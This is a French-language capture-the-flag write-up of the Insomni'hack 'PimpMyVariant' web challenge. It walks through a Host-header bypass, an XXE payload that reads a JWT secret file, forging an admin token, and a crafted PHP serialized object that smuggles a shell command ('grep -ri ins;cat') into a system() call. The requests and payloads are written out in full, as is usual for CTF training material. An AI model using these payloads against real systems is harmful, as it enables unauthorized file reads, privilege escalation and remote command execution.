Détails
- Catégorie : web
- Points : 76
- Résolutions : 77
Description
Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch
Comprendre le problème
Résoudre le problème
La première chose à faire est généralement de vérifier la page robots.txt qui peut contenir des informations utiles sur les pages disponibles. Voici ce que nous avons trouvé :
/readme
/new
/log
/flag.txt
/todo.txt
Bon, maintenant que nous avions un point de départ, nous nous sommes rendus sur ces différentes pages :
/readme
affiche un message unique : “Hostname not allowed”./new
affiche le même message que ci-dessus./log
n’est pas autorisée. Seul l’administrateur peut y avoir accès./flag.txt
est évidemment un piège. Ce serait trop facile :)/todo.txt
indique “test back” qui peut faire référence au back-end.
Dans un premier temps, nous avons dû contourner les restrictions mises en place sur l’en-tête “Hostname” pour obtenir un accès aux endpoints /readme
et /new
. Cela était assez simple puisqu’il s’agissait uniquement de remplacer sa valeur par 127.0.0.1.
/readme
nous fournit un nouveau endpoint intéressant à visiter. Malheureusement, le simple fait de le parcourir n’affiche pas son contenu.
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 10:38:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 195
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Readme</h1>
#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file
/new
fait apparaître un formulaire qui peut être utilisé pour ajouter un nouveau variant de Covid à la liste. C’est une requête POST vers /api
dont le JWT est structuré comme suit :
{
"alg": "HS256",
"typ": "JWT"
}
{
"variants": [
"Alpha",
"Beta",
"Gamma",
"Delta",
"Omicron",
"Lambda",
"Epsilon",
"Zeta",
"Eta",
"Theta",
"Iota",
"deltacron"
],
"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}}",
"exp": 1643465268
}
Ok, résumons ce que nous avons découvert jusqu’à présent :
- Un formulaire pour ajouter un nouveau variant
- Une API avec un mécanisme d’authentification JWT
- Un fichier situé dans le répertoire
/www/jwt.secret.txt
que nous ne pouvons pas lire pour le moment - Un endpoint
/log
uniquement consultable par l’administrateur
Implémentation de la solution
Dans le but d’accéder à /log
, nous avons dû usurper le compte administrateur en utilisant les vulnérabilités suivantes :
- Récupérez le contenu de
/www/jwt.secret.txt
qui est censé être le secret HMAC du jeton JWT. - Forgez un nouveau jeton avec ce secret et positionner la valeur du booléen
isAdmin
à1
.
En analysant la requête POST, nous avons également remarqué que les arguments sont envoyés dans une structure XML. Une vulnérabilité bien connue liée à XML est XXE. Ici, elle pourrait être utilisée pour extraire des données sensibles comme des fichiers ;)
Après avoir validé que la vulnérabilité XXE était bien présente, nous avons utilisé le payload suivant :
POST /api HTTP/1.1
Host: pimpmyvariant.insomnihack.ch
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Origin: http://pimpmyvariant.insomnihack.ch
Content-Length: 168
Connection: close
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiZGVsdGFjcm9uIiwidGVzdCIsInRlc3QxIl0sInNldHRpbmdzIjoiYToxOntpOjA7Tzo0OlwiVXNlclwiOjM6e3M6NDpcIm5hbWVcIjtzOjQ6XCJBbm9uXCI7czo3OlwiaXNBZG1pblwiO2I6MDtzOjI6XCJpZFwiO3M6NDA6XCJhYzYzNDZiZGQwM2NlYjU2MWFhNWJkNjU5MDYwNTJiOWI1YzE5ZDI5XCI7fX0iLCJleHAiOjE2NDM0NjUyNjh9.rJN7Zt97lVafBHm0rsT0iifOT524fP2_T-pRPgtRlzA
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///www/jwt.secret.txt"> ]>
<root>
<name>&example;</name>
</root>
Le résultat est affiché à l’intérieur de la liste après avoir parcouru /
avec le nouveau JWT renvoyé par le serveur (car les variants y sont stockés) :
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 11:03:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 402
<html>
<head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Variants list</h1>
<ul>
[...]<li>54b163783c46881f1fe7ee05f90334aa</li>
</ul>
</body>
</html>
En utilisant ce secret, forger un nouveau jeton JWT est trivial. Et nous pouvons maintenant accéder à /log
:
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 14:12:56 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 501
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Logs</h1>
<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
thrown in /www/UpdateLogViewer.inc on line 26
</textarea>
</body></html>
Un message d’erreur est affiché sur la page, révélant le chemin d’un nouveau fichier que nous n’avions pas découvert auparavant. Il s’agit d’un fichier .inc
situé dans le répertoire racine du serveur web. Son contenu n’étant pas interprété, nous avons pu y accéder directement :
<?php
class UpdateLogViewer
{public string $packgeName;
public string $logCmdReader;
private static ?UpdateLogViewer $singleton = null;
private function __construct(string $packgeName)
{$this->packgeName = $packgeName;
$this->logCmdReader = 'cat';
}
public static function instance() : UpdateLogViewer
{if( !isset(self::$singleton) || self::$singleton === null ){
$c = __CLASS__;
self::$singleton = new $c("$c");
}return self::$singleton;
}
public static function read():string
{return system(self::logFile());
}
public static function logFile():string
{return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
}
public function __wakeup()// serialize
{self::$singleton = $this;
}; }
Nous ne l’avons pas encore mentionné, mais nous avons remarqué que le champ settings
du jeton JWT est un tableau PHP sérialisé contenant un objet User
:
{"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}}"}
Il est évident que la vulnérabilité ici est une désérialisation PHP non sécurisée.
Lorsque le endpoint /log
est consulté, la fonction UpdateLogViewer::read
est appelée. Cette fonction utilise system
pour lire un fichier de log. L’injection de commande est évidente et peut être déclenchée en définissant $this->logCmdReader = 'id;cat';
.
La simple modification du champ settings
par un objet sérialisé UpdateLogViewer
spécialement conçu ne fonctionne pas, car nous ne sommes plus administrateur.
Après plusieurs tentatives infructueuses, nous avons découvert que nous devions ajouter notre objet au tableau existant. Voici donc le payload :
{"settings": "a:2:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"ac6346bdd03ceb561aa5bd65906052b9b5c19d29\";}i:1;O:15:\"UpdateLogViewer\":2:{s:10:\"packgeName\";s:15:\"UpdateLogViewer\";s:12:\"logCmdReader\";s:16:\"grep -ri ins;cat\";}}"}
En se rendant sur /log
avec le jeton JWT spécialement forgé, nous obtenons le flag :
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 15:14:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Content-Length: 1271
<html>
<head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Logs</h1>
<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
thrown in /www/UpdateLogViewer.inc on line 26
flag.txt:The flag is INS{P!mpmYV4rianThat's1flag}
[...]</textarea>
</body>
</html>
Flag : INS{P!mpmYV4rianThat’s1flag}